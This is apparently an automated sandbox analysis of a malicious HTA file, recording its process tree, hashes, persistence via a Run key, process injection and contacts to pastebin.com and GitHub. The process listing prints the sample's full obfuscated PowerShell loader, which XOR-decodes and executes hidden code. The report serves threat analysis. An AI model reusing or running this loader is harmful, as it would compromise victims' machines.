Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
07/10/2026, 17:51
Static task
static1
Behavioral task
behavioral1
Sample
Aviso_Prejudicial_9542844379977776656524975986354765865.hta
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
Aviso_Prejudicial_9542844379977776656524975986354765865.hta
Resource
win11ltsc2024-20260911-en
General
- Target Aviso_Prejudicial_9542844379977776656524975986354765865.hta
- Size 27KB
- Sample261007-we853as15r
- SHA256 5be57773b48d8cf48460fe5757b05ded76444c7cbad0b5f2c1e3e8ba01884fe5
- MD5 290bc4d3541725d4ec9b000b57c955ed
- SHA1 e160274bc3762e883cc3d255c84197a9f89560e0
- SHA512 3725a15f7c65295066fbfac53f29354f125da9545a55a3caca20815e5e134ead2acf89ec49a50b2ef82de1995530d00cbcae355b961bdd0a7d580a54d1e03aef
- SSDEEP 192:zz94CiRMbYm2Ri35R/ZebXNQcA6wDeJrqUW4nKaAWcUaw1FYyJwLcQ6jY1jfBK+i:24fADNJA6Vq2cU11FYyPQJ1jfQ+i
- TLSH T156C26EBA1403905F693921EF474333544A8A0CE17D5728BC9BABD2DA19BCCC7664C7AE
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 22 3264 powershell.exe 24 3264 powershell.exe 26 3264 powershell.exe 27 3264 powershell.exe 28 3264 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 1424 powershell.exe 3264 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\International\Geo\Nation mshta.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\eFaiiAAFbe = "\"C:\\ProgramData\\WinLog.hta\"" powershell.exe - Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 25 raw.githubusercontent.com 26 raw.githubusercontent.com 28 raw.githubusercontent.com 29 pastebin.com 30 pastebin.com - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3264 set thread context of 5000 3264 powershell.exe 105 - Enumerates video capture drivers 2 TTPs 1 IoCs
Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9 AppLaunch.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1328 cmd.exe 4836 cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AppLaunch.exe - Kills process with taskkill 3 IoCs
pid Process 3084 taskkill.exe 4736 taskkill.exe 1596 taskkill.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 3264 powershell.exe 3264 powershell.exe 3264 powershell.exe 1424 powershell.exe 1424 powershell.exe - Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 3264 powershell.exe Token: SeDebugPrivilege 1424 powershell.exe Token: SeDebugPrivilege 3084 taskkill.exe Token: SeDebugPrivilege 4736 taskkill.exe Token: SeDebugPrivilege 1596 taskkill.exe Token: SeDebugPrivilege 5000 AppLaunch.exe - Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 2940 wrote to memory of 1328 2940 mshta.exe 89 PID 1328 wrote to memory of 3264 1328 cmd.exe 91 PID 3264 wrote to memory of 1424 3264 powershell.exe 96 PID 1424 wrote to memory of 4836 1424 powershell.exe 99 PID 4836 wrote to memory of 3084 4836 cmd.exe 101 PID 4836 wrote to memory of 4736 4836 cmd.exe 102 PID 4836 wrote to memory of 1596 4836 cmd.exe 103 PID 3264 wrote to memory of 5000 3264 powershell.exe 105 PID 3264 wrote to memory of 5000 3264 powershell.exe 105 PID 3264 wrote to memory of 5000 3264 powershell.exe 105 PID 3264 wrote to memory of 5000 3264 powershell.exe 105 PID 3264 wrote to memory of 5000 3264 powershell.exe 105
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Aviso_Prejudicial_9542844379977776656524975986354765865.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2940 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe ""$j=75-24;$oFrdX5H='PPukS4U6ILC';$xoLSSWm='ex3BhmQcPZfiTnps';$syk1C3U='QTcshxm3cnecQee3BBhZcpQcQmhPmZ3xhfhQePcZBsQ33pQxx3eeBZmPBhBcheQsQfcpQsh3xsmneiccxPBnmBccQZQmhimPQceZm3mQ3ZhBhnhTB3excQQTxfmTxPQxcsccQn33chmBcexfQfBchphiBxmxmZmQh3cneiQ3h3mecZcccTQsmnhmmhmhBm3fQxcZchhPQimTmhBsmfmTxPQxcsccQn33eicPQneh3QxeBQQnBnmm3chnhZQQxT3iecQpBsBeccec3mBTeBhp3shTBBhmQnQicPmixTmfe3QfeZQBBQBhmZQshTmpQcefcThT3xxixB3f3fesxxm33eQfxPBnhmcTcPcThQm3QTBpQeemcnQ3mhQiQhhpmQQTxTm3mQ3ZhmcTQZcsmnmPcnxcmsxpcTQ3cQQZQmhBxxBhhpmh33cQQ3BcmZQshThhcieccixmhBQhcQcpQmhTmpQmBfcQxTcQhi3BBemphBh3BPmTe3QQBBBQBZ3fQTmfmsQfxfQQeBcnBQmnQmcnhxmnQQesQi3Pc3Q3cPhTcPhemThmecQxecQeBQQ33fcfhphBQPeB3shhhPQmQncPQBhxmQm3BBm3hPc33QBe3fec3mxx3Zhp3shPc33cBZBc3fQxmhcphBheepcZcBcfcp3fcThPcfxfQfexBnmPcTcp3hcPmhQi3nQBemcQcPQnBx3f33Bi3Zhp3shTBccc3i3fBcescQQTxf33Bpc3cPcnQmQcesxTheeecsxZQcmZciQeQshThm3ZhfQpmTBBBimfQmcshxhm3ZhfQpmTBnmfcTQhQnmimZB3hpe3QQBBBQBZ3fQThehBQTesQTehBBBpBnQiBZesmPQchp3ien3xBsBZcx3fmihBcehpchhTQxcBQncscPhxxx3nesBph3mccZQpQhQQhemeQn3fQpxPc3BpBnQiBZeQxxchhpQTenQccmcx3fcxesm3QQeeciemcnQBcT3fcceshTB3hpe3QQBBBQBZ3fcPhfhmcTxTQxhTBccPQTQQQQeshTB3hpe3QQBBBQBZ3f3phpem3ZmB3shiBh3nxhee3fesxx3ZhfQpmZBB3iBZ33mmhPmTQQeZQchTBhmccxBpQsQPmnhi3PmnBn3p3iBp3BBx33Bi3nesBZhT3pBQBZ3pQixixx33hfQpmZ3PxixB3f3fesxx3nesBshT3pBQmZ3333eimeBshp3hhTBihZcpQcQmhPmZ3ZhZmc3f3QmBhphT';$xGrhQ80nG='ZnZeP3PPP3smf3nmZPPiipTmfeZhPTPxfeiQThnTiPfci3Z3pesBnxiPnZisThTnPcTBnmsippnpTpZcspPBPpPpnmn3PcssPQsmf3nmZPPnixiefcPZZZZfpZimThnnPxPefcfhZnPQi3ThfQsxipfPfcZhixPxsBTiiQnZifTeTxT3ZhTBsepmnQiZfsshPxPQPxZnnmscZZfepmimTiPeZZfBf3iBfefifhncPhsxihP3ieZcfcZxPsZcnmfxfpnxTpTsnTnTpippnQixneiBTTTZTQsPssshfsTxixTniBfPPQZxZiZZisfsZ3nmZxpcPnfsZhZfZPZTfcZPsfPBiBTPPPnQTpsPnfppnQixneiBTTTZTQZTZBsepQn3seTciBTxPcPBnmnxipiiZfsnnZiBZcTZT3ZhTnsesBnQTffBpfZsZnPBZPniPhfiPppmnpnQP3PfPZZxZTipfZfifiTfTQiPfsnpnii3imiffmpmP3sfP3PpTpnxZhpcpcTnZTsfiBTTTZTQnmnxixscnQfTneiiiBPpPiZfZ3iPppnxTcZTTfnZiZPTTefePQPsTifTncifncTZT3ZcTmsesBnQiZfsshPxPQPxZnnmscZPZfTPPmTmffiPnin3nTpippn3sBTxiBnxTZT3ZhTnspPcZPsmZmpifBPsTpnxZhpZpcTnixsnZZTTTZTQnmnxi3sTnQfTneicPnnxTPiTZiihfiPpnpZQiiTPPinQnTTpnnThnQixneiBTTPePenmnnshfTTcixnnshPZTZnQnmnPixfeZ3ixnhsxnpTZTiZ3PxsepfZhfenZiBZcTZT3ZcThsepmTiixnhs3nmTcffZeZiicifZpffneZppQTZTQnmnmshfTTmixTniBTPPinhnmnPsepfZhfeTiZppQTZTQnmnmsepfZhfmnefpTTTnPcTnniPBiiZhp3PhpxPmPcPxnnnxi3ssnfixnhsxnsTennsPssseppnQimZ3fxTTnhTQnxZhpPpeisssZhsQZhfQPennnxi3spnsffsnZZTTTZTQnmnmshfTTBixTniBicifZsPQPximfBnPn3ZssnZfPTZhPxfPpfshiepBZsspfpPPZmZeTBphZnP3pBZZsnPiTxT3ZcTxsZsmnQixneicPpniTQTPnmshfsTpisiZsnPPPTZpifZBsPpfZhfxnZfPTTTZTQnxZcp3ppTiixnhs3nhTcfsZiZximiQiZscnPicPpnZTsTp';$yet1lXmfY='QxQQQZcchs3PhnQPhBmeh3hTBcxf3pxTcTeTQcmi33xfefee3TBhxiQxeQQhmiBxeTxseZ3hBmeBcxBhBehsBTxeenePQxcBenBnheBxcPcfmshT3i3T3Bh3mPxiQmxQxmeTxshTBmccBTQcxicpmPBsxneQeZ3f3BhshiBZmsmmmnBieZxs3fB3exQTeeQhx3meeBhTBs3TBiefQixn3cBfx3xmeZesBncch3hpeecPeQehmsmZhTBmcc3ZQcxiQcxhehm3BPen3iBief3P3cQixPxmmB3sBTxTmfQm3PhZ3fmmmhxnmihTchcchiQfms3hB3xmeiBPxmBZB3hc3eBQQnxPxsxPehhTQpxmxchmePhnBhhnh3hihmQZcThs3eBQQnxPxsxPehhTQpxmBpBPBehZe3xhBf3meixTxs3icsmxmem3mZmQmcQxhBmfQm3PhZ3fmmmhxnmhmxQxePePQmeQQnxnmemP3cxh3QBQ3mQsxfQTBcBxxh3shiQeQTQ3e3hZ3fmmmemiepmmQZQfhs3eBQQnxPxsxPehhTQpxsechxeTmPBche3s3p3nBnxx3nhZ3hhQBche3fBQ3P3p3hBshZe3ms3sBhBpmhBmxiemmshh3phs3ehmBmBPxi3BxpeQQBmnhxhm3mB33p3nehen3TcsmxhBBQhe3f3h3pxPBi3fhi3iB3BQBPxP3x33xie3BZmZ3pmihm3fBiBnmPehxB3pcs3chixnxiB33PeiBpxZ3iQsmhBcm3mZmsmchTQnBmmQ3Pmh3fmxx3hQh3BsBTBmxTcTxiQBxixcmcmTheQZcBenBxhchQxexpxPxPehQZcfhsBZmT3BcPcfmiesmTQZQfhs3eBQQnxPxsxPehhTQpeeePBmmh3nmThic3QQhTQZcchs3TefBimmhnmshhBB3pBfeeQsex3fm33PxPmxmxQpcpmhemQB3fmmmemshPesciccm33PhnQPh3mpBPeZxPehB3xiQeeQQpmnmP3eeiex3QBeec3PhphnBchPBfhihmQZcThs3eBQQnxPxsxPehhTQpxeBnQBmh3nmTmZmx3me3BsBPehQnhx3pxiemxBeeheQZeTeeQfeBQsxQeh3hBxBxQZcshiQfme3fmZmhxTmnheQZcsBeQsehQmx3xPmshiBTxPxf3fh3epmsBimcmQhehTQnBmmc3hhZ3pxQhemshehTQxePePQmeQQnxnmemP3ZeeeBBhhP3xhe3BePenc3QQ';$u6LI8c5cq=0xEE9D-0x6D08;$aNAc0ui3T=@();foreach($mvTz706K in [char[]]$oFrdX5H){$aNAc0ui3T+=[byte]($mvTz706K-bxor0x5A)};$jpcJ2Q=$aNAc0ui3T;$aNAc0ui3T=@();foreach($mvTz706K in [char[]]$oFrdX5H){$aNAc0ui3T+=[byte]($mvTz706K-bxor0xA5)};$oQsS70p=$aNAc0ui3T;$aNAc0ui3T=@();foreach($mvTz706K in [char[]]$oFrdX5H){$aNAc0ui3T+=[byte]($mvTz706K-bxor0x3C)};$iJ4jX2GhB=$aNAc0ui3T;$cn5RYD1s='';$fDJhLIadi=0;$g8KegUYK0=0;while($fDJhLIadi-lt$syk1C3U.Length){$n765cV=$xoLSSWm.IndexOf($syk1C3U[$fDJhLIadi])*16+$xoLSSWm.IndexOf($syk1C3U[$fDJhLIadi+1]);if($g8KegUYK0-ge$jpcJ2Q.Length){$g8KegUYK0=0};$cn5RYD1s+=[char]($n765cV-bxor$jpcJ2Q[$g8KegUYK0]);$g8KegUYK0++;$fDJhLIadi+=2};$nmNKIArHE=$cn5RYD1s;$cn5RYD1s='';$fDJhLIadi=0;$g8KegUYK0=0;while($fDJhLIadi-lt$xGrhQ80nG.Length){$n765cV=$xoLSSWm.IndexOf($xGrhQ80nG[$fDJhLIadi])*16+$xoLSSWm.IndexOf($xGrhQ80nG[$fDJhLIadi+1]);if($g8KegUYK0-ge$oQsS70p.Length){$g8KegUYK0=0};$cn5RYD1s+=[char]($n765cV-bxor$oQsS70p[$g8KegUYK0]);$g8KegUYK0++;$fDJhLIadi+=2};$oKUxsr=$cn5RYD1s;$cn5RYD1s='';$fDJhLIadi=0;$g8KegUYK0=0;while($fDJhLIadi-lt$yet1lXmfY.Length){$n765cV=$xoLSSWm.IndexOf($yet1lXmfY[$fDJhLIadi])*16+$xoLSSWm.IndexOf($yet1lXmfY[$fDJhLIadi+1]);if($g8KegUYK0-ge$iJ4jX2GhB.Length){$g8KegUYK0=0};$cn5RYD1s+=[char]($n765cV-bxor$iJ4jX2GhB[$g8KegUYK0]);$g8KegUYK0++;$fDJhLIadi+=2};$qnrxylV=$cn5RYD1s;$yyBmwO=$nmNKIArHE+$oKUxsr+$qnrxylV;.([char[]](105,101,120)-join'') $yyBmwO""; Copy-Item -Path '"C:\Users\Admin\AppData\Local\Temp\Aviso_Prejudicial_9542844379977776656524975986354765865.hta"' -Destination 'C:\ProgramData\WinLog.hta' -Force""2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1328 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe ""$j=75-24;$oFrdX5H='PPukS4U6ILC';$xoLSSWm='ex3BhmQcPZfiTnps';$syk1C3U='QTcshxm3cnecQee3BBhZcpQcQmhPmZ3xhfhQePcZBsQ33pQxx3eeBZmPBhBcheQsQfcpQsh3xsmneiccxPBnmBccQZQmhimPQceZm3mQ3ZhBhnhTB3excQQTxfmTxPQxcsccQn33chmBcexfQfBchphiBxmxmZmQh3cneiQ3h3mecZcccTQsmnhmmhmhBm3fQxcZchhPQimTmhBsmfmTxPQxcsccQn33eicPQneh3QxeBQQnBnmm3chnhZQQxT3iecQpBsBeccec3mBTeBhp3shTBBhmQnQicPmixTmfe3QfeZQBBQBhmZQshTmpQcefcThT3xxixB3f3fesxxm33eQfxPBnhmcTcPcThQm3QTBpQeemcnQ3mhQiQhhpmQQTxTm3mQ3ZhmcTQZcsmnmPcnxcmsxpcTQ3cQQZQmhBxxBhhpmh33cQQ3BcmZQshThhcieccixmhBQhcQcpQmhTmpQmBfcQxTcQhi3BBemphBh3BPmTe3QQBBBQBZ3fQTmfmsQfxfQQeBcnBQmnQmcnhxmnQQesQi3Pc3Q3cPhTcPhemThmecQxecQeBQQ33fcfhphBQPeB3shhhPQmQncPQBhxmQm3BBm3hPc33QBe3fec3mxx3Zhp3shPc33cBZBc3fQxmhcphBheepcZcBcfcp3fcThPcfxfQfexBnmPcTcp3hcPmhQi3nQBemcQcPQnBx3f33Bi3Zhp3shTBccc3i3fBcescQQTxf33Bpc3cPcnQmQcesxTheeecsxZQcmZciQeQshThm3ZhfQpmTBBBimfQmcshxhm3ZhfQpmTBnmfcTQhQnmimZB3hpe3QQBBBQBZ3fQThehBQTesQTehBBBpBnQiBZesmPQchp3ien3xBsBZcx3fmihBcehpchhTQxcBQncscPhxxx3nesBph3mccZQpQhQQhemeQn3fQpxPc3BpBnQiBZeQxxchhpQTenQccmcx3fcxesm3QQeeciemcnQBcT3fcceshTB3hpe3QQBBBQBZ3fcPhfhmcTxTQxhTBccPQTQQQQeshTB3hpe3QQBBBQBZ3f3phpem3ZmB3shiBh3nxhee3fesxx3ZhfQpmZBB3iBZ33mmhPmTQQeZQchTBhmccxBpQsQPmnhi3PmnBn3p3iBp3BBx33Bi3nesBZhT3pBQBZ3pQixixx33hfQpmZ3PxixB3f3fesxx3nesBshT3pBQmZ3333eimeBshp3hhTBihZcpQcQmhPmZ3ZhZmc3f3QmBhphT';$xGrhQ80nG='ZnZeP3PPP3smf3nmZPPiipTmfeZhPTPxfeiQThnTiPfci3Z3pesBnxiPnZisThTnPcTBnmsippnpTpZcspPBPpPpnmn3PcssPQsmf3nmZPPnixiefcPZZZZfpZimThnnPxPefcfhZnPQi3ThfQsxipfPfcZhixPxsBTiiQnZifTeTxT3ZhTBsepmnQiZfsshPxPQPxZnnmscZZfepmimTiPeZZfBf3iBfefifhncPhsxihP3ieZcfcZxPsZcnmfxfpnxTpTsnTnTpippnQixneiBTTTZTQsPssshfsTxixTniBfPPQZxZiZZisfsZ3nmZxpcPnfsZhZfZPZTfcZPsfPBiBTPPPnQTpsPnfppnQixneiBTTTZTQZTZBsepQn3seTciBTxPcPBnmnxipiiZfsnnZiBZcTZT3ZhTnsesBnQTffBpfZsZnPBZPniPhfiPppmnpnQP3PfPZZxZTipfZfifiTfTQiPfsnpnii3imiffmpmP3sfP3PpTpnxZhpcpcTnZTsfiBTTTZTQnmnxixscnQfTneiiiBPpPiZfZ3iPppnxTcZTTfnZiZPTTefePQPsTifTncifncTZT3ZcTmsesBnQiZfsshPxPQPxZnnmscZPZfTPPmTmffiPnin3nTpippn3sBTxiBnxTZT3ZhTnspPcZPsmZmpifBPsTpnxZhpZpcTnixsnZZTTTZTQnmnxi3sTnQfTneicPnnxTPiTZiihfiPpnpZQiiTPPinQnTTpnnThnQixneiBTTPePenmnnshfTTcixnnshPZTZnQnmnPixfeZ3ixnhsxnpTZTiZ3PxsepfZhfenZiBZcTZT3ZcThsepmTiixnhs3nmTcffZeZiicifZpffneZppQTZTQnmnmshfTTmixTniBTPPinhnmnPsepfZhfeTiZppQTZTQnmnmsepfZhfmnefpTTTnPcTnniPBiiZhp3PhpxPmPcPxnnnxi3ssnfixnhsxnsTennsPssseppnQimZ3fxTTnhTQnxZhpPpeisssZhsQZhfQPennnxi3spnsffsnZZTTTZTQnmnmshfTTBixTniBicifZsPQPximfBnPn3ZssnZfPTZhPxfPpfshiepBZsspfpPPZmZeTBphZnP3pBZZsnPiTxT3ZcTxsZsmnQixneicPpniTQTPnmshfsTpisiZsnPPPTZpifZBsPpfZhfxnZfPTTTZTQnxZcp3ppTiixnhs3nhTcfsZiZximiQiZscnPicPpnZTsTp';$yet1lXmfY='QxQQQZcchs3PhnQPhBmeh3hTBcxf3pxTcTeTQcmi33xfefee3TBhxiQxeQQhmiBxeTxseZ3hBmeBcxBhBehsBTxeenePQxcBenBnheBxcPcfmshT3i3T3Bh3mPxiQmxQxmeTxshTBmccBTQcxicpmPBsxneQeZ3f3BhshiBZmsmmmnBieZxs3fB3exQTeeQhx3meeBhTBs3TBiefQixn3cBfx3xmeZesBncch3hpeecPeQehmsmZhTBmcc3ZQcxiQcxhehm3BPen3iBief3P3cQixPxmmB3sBTxTmfQm3PhZ3fmmmhxnmihTchcchiQfms3hB3xmeiBPxmBZB3hc3eBQQnxPxsxPehhTQpxmxchmePhnBhhnh3hihmQZcThs3eBQQnxPxsxPehhTQpxmBpBPBehZe3xhBf3meixTxs3icsmxmem3mZmQmcQxhBmfQm3PhZ3fmmmhxnmhmxQxePePQmeQQnxnmemP3cxh3QBQ3mQsxfQTBcBxxh3shiQeQTQ3e3hZ3fmmmemiepmmQZQfhs3eBQQnxPxsxPehhTQpxsechxeTmPBche3s3p3nBnxx3nhZ3hhQBche3fBQ3P3p3hBshZe3ms3sBhBpmhBmxiemmshh3phs3ehmBmBPxi3BxpeQQBmnhxhm3mB33p3nehen3TcsmxhBBQhe3f3h3pxPBi3fhi3iB3BQBPxP3x33xie3BZmZ3pmihm3fBiBnmPehxB3pcs3chixnxiB33PeiBpxZ3iQsmhBcm3mZmsmchTQnBmmQ3Pmh3fmxx3hQh3BsBTBmxTcTxiQBxixcmcmTheQZcBenBxhchQxexpxPxPehQZcfhsBZmT3BcPcfmiesmTQZQfhs3eBQQnxPxsxPehhTQpeeePBmmh3nmThic3QQhTQZcchs3TefBimmhnmshhBB3pBfeeQsex3fm33PxPmxmxQpcpmhemQB3fmmmemshPesciccm33PhnQPh3mpBPeZxPehB3xiQeeQQpmnmP3eeiex3QBeec3PhphnBchPBfhihmQZcThs3eBQQnxPxsxPehhTQpxeBnQBmh3nmTmZmx3me3BsBPehQnhx3pxiemxBeeheQZeTeeQfeBQsxQeh3hBxBxQZcshiQfme3fmZmhxTmnheQZcsBeQsehQmx3xPmshiBTxPxf3fh3epmsBimcmQhehTQnBmmc3hhZ3pxQhemshehTQxePePQmeQQnxnmemP3ZeeeBBhhP3xhe3BePenc3QQ';$u6LI8c5cq=0xEE9D-0x6D08;$aNAc0ui3T=@();foreach($mvTz706K in [char[]]$oFrdX5H){$aNAc0ui3T+=[byte]($mvTz706K-bxor0x5A)};$jpcJ2Q=$aNAc0ui3T;$aNAc0ui3T=@();foreach($mvTz706K in [char[]]$oFrdX5H){$aNAc0ui3T+=[byte]($mvTz706K-bxor0xA5)};$oQsS70p=$aNAc0ui3T;$aNAc0ui3T=@();foreach($mvTz706K in [char[]]$oFrdX5H){$aNAc0ui3T+=[byte]($mvTz706K-bxor0x3C)};$iJ4jX2GhB=$aNAc0ui3T;$cn5RYD1s='';$fDJhLIadi=0;$g8KegUYK0=0;while($fDJhLIadi-lt$syk1C3U.Length){$n765cV=$xoLSSWm.IndexOf($syk1C3U[$fDJhLIadi])*16+$xoLSSWm.IndexOf($syk1C3U[$fDJhLIadi+1]);if($g8KegUYK0-ge$jpcJ2Q.Length){$g8KegUYK0=0};$cn5RYD1s+=[char]($n765cV-bxor$jpcJ2Q[$g8KegUYK0]);$g8KegUYK0++;$fDJhLIadi+=2};$nmNKIArHE=$cn5RYD1s;$cn5RYD1s='';$fDJhLIadi=0;$g8KegUYK0=0;while($fDJhLIadi-lt$xGrhQ80nG.Length){$n765cV=$xoLSSWm.IndexOf($xGrhQ80nG[$fDJhLIadi])*16+$xoLSSWm.IndexOf($xGrhQ80nG[$fDJhLIadi+1]);if($g8KegUYK0-ge$oQsS70p.Length){$g8KegUYK0=0};$cn5RYD1s+=[char]($n765cV-bxor$oQsS70p[$g8KegUYK0]);$g8KegUYK0++;$fDJhLIadi+=2};$oKUxsr=$cn5RYD1s;$cn5RYD1s='';$fDJhLIadi=0;$g8KegUYK0=0;while($fDJhLIadi-lt$yet1lXmfY.Length){$n765cV=$xoLSSWm.IndexOf($yet1lXmfY[$fDJhLIadi])*16+$xoLSSWm.IndexOf($yet1lXmfY[$fDJhLIadi+1]);if($g8KegUYK0-ge$iJ4jX2GhB.Length){$g8KegUYK0=0};$cn5RYD1s+=[char]($n765cV-bxor$iJ4jX2GhB[$g8KegUYK0]);$g8KegUYK0++;$fDJhLIadi+=2};$qnrxylV=$cn5RYD1s;$yyBmwO=$nmNKIArHE+$oKUxsr+$qnrxylV;.([char[]](105,101,120)-join'') $yyBmwO""; Copy-Item -Path '"C:\Users\Admin\AppData\Local\Temp\Aviso_Prejudicial_9542844379977776656524975986354765865.hta"' -Destination 'C:\ProgramData\WinLog.hta' -Force""3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3264 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1424 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F5⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4836 -
C:\Windows\system32\taskkill.exetaskkill /IM RegAsm.exe /F6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3084
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C:\Windows\system32\taskkill.exetaskkill /IM Vbc.exe /F6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4736
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C:\Windows\system32\taskkill.exetaskkill /IM MsBuild.exe /F6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1596
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"4⤵
- Enumerates video capture drivers
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:5000
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
- MD5 6cf293cb4d80be23433eecf74ddb5503
- SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
- SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
- TLSH T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 124745d7fecd229d311b0cebee0081571d2d2297f71a3111e75f4a6321b4d479
- MD5 15cef65b7faf65a8801e54e23a91ff25
- SHA1 f0174b88a1fbc92e5c57895adf17bee7ee72002d
- SHA512 7525f329f9a7bce0defc3ae532ebddb4eb872dcb5e5dfa87ad3d81d56467502cbb25a97d19f3ce7d5723816c6f8915eabe920b1cbba3f59ac691c9b9d8212afd
- TLSH T1D021A627F3DCC921CC8A123A109D9C1176B683C7809ECF9FAFC0D614A1BF988CB21694
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i05lckmw.cod.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH